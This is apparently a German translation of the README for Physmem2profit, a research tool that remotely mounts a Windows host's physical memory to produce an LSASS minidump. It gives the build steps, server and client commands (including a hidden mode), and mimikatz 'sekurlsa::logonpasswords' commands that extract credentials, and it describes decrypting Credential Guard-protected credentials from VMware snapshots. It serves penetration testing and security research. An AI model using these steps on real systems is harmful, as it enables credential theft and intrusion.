
Physmem2profit kann verwendet werden, um einen Minidump des LSASS-Prozesses eines Zielhosts zu erstellen, indem der physische Speicher remote analysiert wird.
Physmem2profit kann verwendet werden, um einen Minidump des LSASS-Prozesses eines Zielhosts zu erstellen, indem der physische Speicher remote analysiert wird. Das Ziel dieser Forschung ist es, einen alternativen Ansatz zum Diebstahl von Anmeldedaten vorzuschlagen und ein modulares Framework zu schaffen, das erweitert werden kann, um andere Treiber zu unterstützen, die auf physischen Speicher zugreifen können. Physmem2profit erzeugt einen Minidump (.dmp) von LSASS, der mit Mimikatz weiter analysiert werden kann. Das Tool benötigt kein Cobalt Strike, sollte aber über Beacon mit einem SOCKS-Proxy einwandfrei funktionieren.
Die Idee ist unten dargestellt:

Das Tool besteht aus zwei Komponenten:
physmem2profit.exe, die auf dem Zielhost ausgeführt wird
physmem2profit, das auf dem angreifenden Rechner ausgeführt wird
--mode mount verbindet es sich mit dem Zielrechner und mountet den physischen RAM des Ziels als Rohdatei mithilfe von FUSE.--mode dump ruft es verschiedene Rekall-Plugins auf, um das Speicherabbild zu analysieren und einen Minidump des LSASS-Prozesses zu erzeugen.--mode all führt es beide oben genannten Aktionen aus. Die Verbindung zum Server wird geschlossen, wenn der Dump abgeschlossen ist.git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.gitphysmem2profit/server/Physmem2profit.sln mit Visual Studio.bash physmem2profit/client/install.shphysmem2profit.exe [--ip IP] [-p PORT] [--hidden] [--verbose] als Administrator aus.
source physmem2profit/client/.env/bin/activate aus. Dieser Befehl aktiviert die von install.sh erstellte virtualenv.cd physmem2profit/client und python3 physmem2profit --host HOST [--port PORT] [--mode MODE] [--driver DRIVER ] [--instal DRIVER_PATH_ON_TARGET] [--label LABEL_FOR_MEMORY_DUMP] aus.
physmem2profit.exe muss auf dem Zielrechner ausgeführt werden, bevor Sie diesen Befehl ausführen.output/[label]-[date]-lsass.dmp auf dem angreifenden Rechner geschrieben.mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit" aus.Zum Entschlüsseln von Anmeldedaten, die durch Credential Guard geschützt sind, muss Zugriff auf den Verschlüsselungsschlüssel erlangt werden, der in der Secure World gespeichert ist. Für Testzwecke unterstützt Physmem2profit das Abrufen von Daten aus der Secure World aus VMware-Fusion/Workstation-Snapshots (.vmem-Dateien). Dadurch können mit Credential Guard geschützte Anmeldedaten mithilfe von Mimikatz entschlüsselt werden.
msinfo32 aus, um sicherzustellen, dass unter Virtualization-based security Services Running der Wert Credential Guard steht.python3 physmem2profit --mode dump --vmem /tmp/Win10-Snapshot1.vmem --label credential-guard-test
output/[label]-[date]-lsass.dmp geschrieben. Der Minidump enthält einen speziellen Stream, der die Daten aus der Secure World enthält, sodass Mimikatz den Verschlüsselungsschlüssel lokalisieren kann.output/[label]-[date]-secure-world.raw gespeichert.mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit" aus.Die Unterstützung zur Umgehung von Credential Guard durch Ausnutzung der S3-Resume-Firmware-Sicherheitslücke, die in unserem Disobey-Vortrag demonstriert wurde, kommt bald :).
Rethinking Credential Theft | ein Blogbeitrag, der erklärt, warum dieser Ansatz für den Diebstahl von Anmeldedaten gewählt wurde.
Physmem2profit wird von @b3arr0 und @TimoHirvonen entwickelt.
Dank an die Mitwirkenden: